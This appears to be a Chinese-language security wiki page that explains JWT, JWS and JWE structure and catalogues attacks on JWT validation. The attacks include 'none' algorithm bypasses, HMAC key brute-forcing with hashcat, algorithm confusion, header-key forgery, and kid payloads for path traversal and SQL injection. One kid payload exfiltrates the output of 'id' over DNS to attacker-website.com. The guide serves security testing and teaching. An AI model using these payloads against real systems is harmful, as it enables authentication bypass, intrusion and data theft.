JSON Web令牌漏洞

JSON Web Token

JSON Web Token (JWT) 表示一组声明作为 JSON 对象,该对象在 JSON Web Signature (JWS) 和/或 JSON Web Encryption (JWE) 结构中编码。JWT 表示为一系列由 . 字符分隔的 URL 安全部分(JWT 声明集)。每个部分包含一个 base64url-encoded 值。JWT 中的部分数量取决于使用 JWS 紧凑序列化表示结果 JWS 或使用 JWE 紧凑序列化表示 JWE。

base64url 算法是具有以下替换的 base64 算法:

  • "+" 替换为 "-"

  • "/" 替换为 "_"

并且没有标准的 base64 填充,通常由 "=" 符号组成

JWT 声明

JWT 声明集表示一个 JSON 对象,其成员是由 JWT 传达的声明。有三类 JWT 声明名称:

  • 注册声明名称

  • 公共声明名称

  • 私有声明名称

注册声明名称

以下声明名称在 IANA "JSON Web Token Claims" 注册表中注册。下面定义的声明都不是旨在在所有情况下强制使用或实现,而是它们提供了一组有用的、可互操作的声明的起点。使用 JWT 的应用程序应该定义它们使用哪些特定声明以及何时是必需的或可选的。

声明
定义
类型
描述

iss

签发者

字符串或 URI

"iss" 声明标识签发 JWT 的主体

sub

主题

字符串或 URI

"sub" 声明标识作为 JWT 主题的主体

aud

受众

字符串数组(字符串或 URI)

字符串或 URI

"aud" 声明标识 JWT 预期的接收者

exp

过期时间

NumericDate

"exp" 声明标识 JWT 必须不被接受进行处理的时间或之后的时间

nbf

生效时间

NumericDate

"nbf" 声明标识 JWT 必须不被接受进行处理的时间之前的时间

iat

签发时间

NumericDate

"iat" 声明标识 JWT 签发的时间

jti

JWT ID

字符串

"jti" 声明提供 JWT 的唯一标识符

公共声明名称

声明名称可以由 JWT 使用者随意定义。声明名称是一个包含抗冲突名称的值。

私有声明名称

JWT 的生产者和消费者可以同意使用私有名称的声明名称:不是注册声明名称或公共声明名称的名称。与公共声明名称不同,私有声明名称容易发生冲突。

JOSE 头

JOSE(JSON 对象签名和加密)头是一个包含描述所使用的加密操作和参数的参数的 JSON 对象

对于 JWT 对象,由 JOSE 头表示的 JSON 对象的成员描述应用于 JWT 的加密操作,以及可选的 JWT 的附加属性。根据 JWT 是 JWS 还是 JWE,JOSE 头值的相应规则适用。

JSON Web Signature

JSON Web Signature (JWS) 表示使用数字签名或消息认证码(MAC)保护的内容,使用基于 JSON 的数据结构。JWS 加密机制为任意八位字节序列提供完整性保护。

JWS 有两个密切相关的序列化,它们都共享相同的加密基础:

  • JWS 紧凑序列化 是一种紧凑的、URL 安全的表示形式,适用于空间受限的环境,如 HTTP 授权头和 URI 查询参数。

  • JWS JSON 序列化 将 JWS 表示为 JSON 对象,并允许多个签名和/或 MAC 应用于相同的内容。

JWT 是使用 JWS 紧凑序列化的 JWS

JWS 表示这些逻辑值:

  1. JOSE 头

  2. JWS 载荷

  3. JWS 签名

JOSE 头

对于 JWS,表示 JOSE 头的 JSON 对象的成员描述应用于 JWS 保护头和 JWS 载荷的数字签名或 MAC,以及可选的 JWS 的附加属性。

JWS 定义了以下注册头参数名称:

参数
定义
类型
描述

alg

算法

字符串或 URI

"alg" 头参数标识用于保护 JWS 的加密算法。您可以在 JWA 规范的 第 3.1 节 中找到可能的值列表

jku

JWK 集 URL

URI

"jku" 头参数是一个 URI,指的是一组 JSON 编码的公钥(作为 JWK 集)的资源,其中一个对应于用于数字签名 JWS 的密钥

jwk

JSON Web 密钥

"jwk" 头参数是对应于用于数字签名 JWS 的密钥的公钥

kid

密钥 ID

字符串

"kid" 头参数是一个提示,指示哪个密钥用于保护 JWS。当与 JWK 一起使用时,kid 值用于匹配 JWK "kid" 参数值

x5u

X.509 URL

URI

"x5u" 头参数是一个 URI,指的是对应于用于数字签名 JWS 的密钥的 X.509 公钥证书或证书链 的资源

x5c

X.509 证书链

"x5c" 头参数包含对应于用于数字签名 JWS 的密钥的 X.509 公钥证书或证书链

x5t

X.509 证书 SHA-1 指纹

字符串

"x5t" 头参数是对应于用于数字签名 JWS 的密钥的 X.509 证书的 DER 编码的 base64url 编码的 SHA-1 指纹(摘要)

x5t#S256

X.509 证书 SHA-256 指纹

字符串

"x5t#S256" 头参数是对应于用于数字签名 JWS 的密钥的 X.509 证书的 DER 编码的 base64url 编码的 SHA-256 指纹(摘要)

typ

类型

"typ" 头参数由 JWS 应用程序用于声明此完整 JWS 的媒体类型。这旨在在应用程序数据结构中可能存在多种对象时由应用程序使用,该数据结构可以包含 JWS。要指示此对象是 JWT,建议使用 "JWT" 值

cty

内容类型

"cty" 头参数由 JWS 应用程序用于声明保护内容(载荷)的媒体类型 [IANA.MediaTypes]。在不使用嵌套签名操作的正常情况下,不建议使用此头参数。在使用嵌套签名的情况下,此头参数必须存在;在这种情况下,值必须是 "JWT",以指示此 JWT 中携带嵌套的 JWT

crit

关键

JOSE 头中存在的头参数名称数组

"crit" 头参数指示正在使用必须理解和处理的扩展和/或 JWA

JWS 载荷

要保护的八位字节序列(消息)。载荷可以包含任意的八位字节序列。

JWS 签名

JWS 保护头和 JWS 载荷的数字签名或 MAC。由于 JWT 使用 JWS 紧凑序列化,不使用 JWS 未保护头。

JSON Web Encryption

JSON Web Encryption (JWE) 表示使用基于 JSON 的数据结构加密的内容。JWE 加密机制为任意八位字节序列提供加密和完整性保护。JWE 利用认证加密来确保明文的机密性和完整性以及 JWE 保护头和 JWE AAD 的完整性。

JWE 有两个密切相关的序列化,它们都共享相同的加密基础:

  • JWE 紧凑序列化 是一种紧凑的、URL 安全的表示形式,适用于空间受限的环境,如 HTTP 授权头和 URI 查询参数。

  • JWE JSON 序列化 将 JWE 表示为 JSON 对象,并允许相同的内容被加密给多个方。

JWT 是使用 JWE 紧凑序列化的 JWE

JWE 表示这些逻辑值:

  1. JOSE 头

  2. JWE 加密密钥

  3. JWE 初始化向量

  4. JWE AAD

  5. JWE 密文

  6. JWE 认证标签

JOSE 头

对于 JWE,表示 JOSE 头的 JSON 对象的成员描述应用于明文的加密以及可选的 JWE 的附加属性。

JOSE 头成员是这些值的成员的并集:

  • JWE 保护头 - 包含由认证加密操作完整性保护的头参数的 JSON 对象。这些参数适用于 JWE 的所有接收者。对于 JWE 紧凑序列化,这包括整个 JOSE 头。对于 JWE JSON 序列化,这是 JOSE 头的一个组件。

  • JWE 共享未保护头 - 包含适用于 JWE 所有接收者的未完整性保护的头参数的 JSON 对象。这只能在使用 JWE JSON 序列化时存在。

  • JWE 每接收者未保护头 - 包含适用于 JWE 单个接收者的头参数的 JSON 对象。这些头参数值没有完整性保护。这只能在使用 JWE JSON 序列化时存在。

JWE 定义了以下注册头参数名称:

参数
定义
类型
描述

alg

算法

字符串或 URI

"alg" 头参数标识用于加密或确定内容加密密钥值(AEAD 算法的对称密钥)的加密算法。您可以在 JWA 规范的 第 4.1 节 中找到可能的值列表

enc

加密算法

字符串或 URI

"enc" 头参数标识用于对明文执行认证加密以产生密文和认证标签的内容加密算法。此算法必须是具有指定密钥长度的 AEAD 算法。您可以在 JWA 规范的 第 5.1 节 中找到可能的值列表

zip

压缩算法

字符串

"zip" 如果有的话,在加密之前应用于明文的压缩

jku

JWK 集 URL

URI

"jku" 头参数是一个 URI,指的是一组 JSON 编码的公钥(作为 JWK 集)的资源,JWE 是使用其中一个加密的;这可以用来确定解密 JWE 所需的私钥

jwk

JSON Web 密钥

"jwk" 头参数是对应于用于加密 JWE 的密钥的公钥;这可以用来确定解密 JWE 所需的私钥

kid

密钥 ID

字符串

"kid" 头参数是一个提示,指示哪个密钥用于加密 JWE。当与 JWK 一起使用时,kid 值用于匹配 JWK "kid" 参数值

x5u

X.509 URL

URI

"x5u" 头参数是一个 URI,指的是对应于用于加密 JWE 的密钥的 X.509 公钥证书或证书链 的资源

x5c

X.509 证书链

"x5c" 头参数包含对应于用于加密 JWE 的密钥的 X.509 公钥证书或证书链

x5t

X.509 证书 SHA-1 指纹

字符串

"x5t" 头参数是对应于用于加密 JWE 的密钥的 X.509 证书的 DER 编码的 base64url 编码的 SHA-1 指纹(摘要)

x5t#S256

X.509 证书 SHA-256 指纹

字符串

"x5t#S256" 头参数是对应于用于加密 JWE 的密钥的 X.509 证书的 DER 编码的 base64url 编码的 SHA-256 指纹(摘要)

typ

类型

"typ" 头参数由 JWE 应用程序用于声明此完整 JWE 的媒体类型。这旨在在应用程序数据结构中可能存在多种对象时由应用程序使用,该数据结构可以包含 JWE。要指示此对象是 JWT,建议使用 "JWT" 值

cty

内容类型

"cty" 头参数由 JWE 应用程序用于声明保护内容(明文)的媒体类型 [IANA.MediaTypes]。在不使用嵌套加密操作的正常情况下,不建议使用此头参数。在使用嵌套加密的情况下,此头参数必须存在;在这种情况下,值必须是 "JWT",以指示此 JWT 中携带嵌套的 JWT

crit

关键

JOSE 头中存在的头参数名称数组

"crit" 头参数指示正在使用必须理解和处理的扩展和/或 JWA

JWE 加密密钥

带有关联数据的认证加密(AEAD) 是一种算法,它加密明文,允许指定额外的认证数据,并提供对密文和额外认证数据的集成内容完整性检查。AEAD 算法接受两个输入,明文和额外的认证数据值,并产生两个输出,密文和认证标签值。AES Galois/Counter Mode (GCM) 就是这样的一个算法

内容加密密钥 是用于加密明文以产生密文和认证标签的 AEAD 算法的对称密钥

加密的内容加密密钥值。请注意,对于某些算法,JWE 加密密钥值被指定为空的八位字节序列。

JWE 初始化向量

初始化向量是加密明文时使用的初始化向量值。请注意,某些算法可能不使用初始化向量,在这种情况下,此值是空的八位字节序列。

JWE AAD

额外认证数据(AAD) 是 AEAD 操作的输入,它是完整性保护的但不加密。

AAD 是要由认证加密操作完整性保护的额外值。这只能在使用 JWE JSON 序列化时存在。

请注意,当使用 JWE 紧凑序列化或 JWE JSON 序列化时,也可以通过将 AAD 值包含为完整性保护的头参数值来实现这一点,但代价是该值被双重 base64url 编码。

JWE 密文

密文是使用额外认证数据对明文进行认证加密的结果值。

JWE 认证标签

认证标签 是 AEAD 操作的输出,确保密文和额外认证数据的完整性。请注意,某些算法可能不使用认证标签,在这种情况下,此值是空的八位字节序列

认证标签是使用额外认证数据对明文进行认证加密的结果值。

安全问题(JWS)

支持 none 算法

none 算法允许您使用不带签名的 JWT 令牌。请注意,这是根据规范必须实现的两算法之一。none 算法可能在生产环境中得到支持,导致漏洞。

要利用这一点,将 "alg" 值更改为 none,并将不带(或带)签名的 JWT 令牌发送到 API 端点。如果支持 none 算法,JWT 令牌将是有效的。

您可以尝试以下 none 算法变体:

  • none

  • None

  • NONE

  • nOnE

参考:

缺少有效签名

尝试保留签名算法(例如 HS256)并删除签名部分。

参考:

泄露正确签名

尝试更改载荷并将此类令牌发送到 API 端点。如果端点已配置为向用户显示异常,您可以获得与更改的数据匹配的正确签名。

Invalid signature.
Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

参考:

弱 HMAC 密钥

基于 HMAC 的算法使用密钥来创建(和验证)签名。您可以使用 hashcat 暴力破解密钥:

$ hashcat -a0 -m 16500 jwt.txt wordlist.txt

参考:

对不同算法使用相同的密钥

如果相同的密钥用于非对称和对称算法,您可以将公共 RSA 密钥用作 HMAC 密钥来签名篡改的 JWT 令牌。在这种情况下,利用包括以下步骤:

  1. 攻击者获取公共 RSA 密钥。

  2. 攻击者将 "alg" 值设置为 HS256

  3. 攻击者使用公共 RSA 密钥作为 HMAC 密钥对令牌进行签名。

  4. 攻击者将篡改的令牌发送到服务器。

  5. 服务器接收令牌,检查用于签名的算法(HS256)。

  6. 由于验证密钥在配置中设置为公共 RSA 密钥,签名将是有效的(使用了相同的验证密钥来创建签名,并且攻击者将签名算法更改为 HS256)。

参考:

支持 jwk 或 x5c 头参数

表示公钥(X.509 公钥证书或证书链)的 "jwk"("x5c")头参数可以嵌入在 JWS 的头中。此公钥/X.509 公钥证书或证书链然后将被信任用于验证。您可以通过删除原始签名、向头添加新公钥,然后使用与嵌入在该 JWS 头中的公钥相关联的(您的)私钥对对象进行签名来利用这一点。

参考:

签名的时间攻击

如果以下点为真,则签名验证算法容易受到时间攻击:

  1. JWS 的签名逐字节与正确的签名(由接受 JWS 的一方生成)进行验证。

  2. 验证在第一个不一致的字节处结束。

要利用时间攻击,通过生成顺序签名观察响应时间,从第一个字节开始,然后移动到第二个,依此类推。

参考:

安全问题(JWE)

弱算法

有有趣的研究:

加密和签名的错误组合

一些解密 JWE 加密的 JWT 以获得 JWS 签名对象的库并不总是验证内部签名。

安全问题(通用)

伪造 jku 头参数

"jku" 头参数是一个 URI,指的是一组 JSON 编码的公钥(作为 JWK 集)的资源,其中一个对应于用于数字签名 JWS 的密钥 / JWE 是使用其中一个加密的密钥。将 JWT 令牌更改为指向 "jku" 参数值到您的带有公钥的网络服务器,并使用相应的私钥对令牌进行签名/加密。

参考:

通过 jku 或 x5u 头参数进行 SSRF

"jku"("x5u")头参数是服务器用于检索公钥(X.509 公钥证书或证书链)的 URI。您可以使用它来利用 SSRF 漏洞。

通过 kid 头参数注入

kid 头参数由依赖应用程序用于执行密钥查找。

命令注入

kid 参数可以传递给类似系统的函数,这将导致命令注入:

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "kid;dig $(id | base64 -w0).attacker-website.com",
}

路径遍历

kid 参数指定文件系统中密钥的路径,用于验证令牌。如果攻击者在 kid 参数中输入具有可预测内容的文件的路径,他们将能够生成伪造的令牌,因为密钥已经是已知的。这样一个文件是 /proc/sys/kernel/randomize_va_space,它在 Linux 系统中使用并具有像 0,1,2 这样的可预测值。攻击者可以使用密钥值 0,1,2 创建恶意令牌并将其发送到服务器。

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../../../../../../dev/null",
}

SQL 注入

应用程序可以将其密钥存储在数据库中。如果这样的密钥在 kid 参数中被引用,它可能容易受到 SQL 注入的攻击。

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "key' UNION SELECT 'hop",
}

替换攻击

有一些攻击,其中一个接收者将有一个预期用于它的 JWT 并尝试在不同的接收者上使用它,这不是预期的。这适用于以下情况:

  • 应用程序不验证(或不正确验证)用于 JWT 中加密操作的加密密钥属于签发者(iss 声明)。

  • 应用程序不验证(或不正确验证)主题值(sub 声明)对应于应用程序中的有效主题和/或签发者/主题对(这可能包括确认签发者被应用程序信任)。

  • aud 声明没有被使用(或被错误使用)来确定 JWT 是否被预期的方使用还是被攻击者在非预期的方替换,当相同的签发者可以发行预期被多个依赖方或应用程序使用的 JWT 时。

跨 JWT 混淆

由于 JWT 被不同应用程序领域中的不同协议使用,您可以尝试为一个目的颁发 JWT 令牌并将其用于不同的目的。

重放攻击

如果过期和撤销机制存在弱点,JWT 令牌可用于重放攻击。在这种情况下,需要注意 "exp"(令牌过期日期)和 "jti"(唯一令牌标识符)声明,并尝试使用过期/撤销的 JWT 令牌。

参考:

工具

参考

最后更新于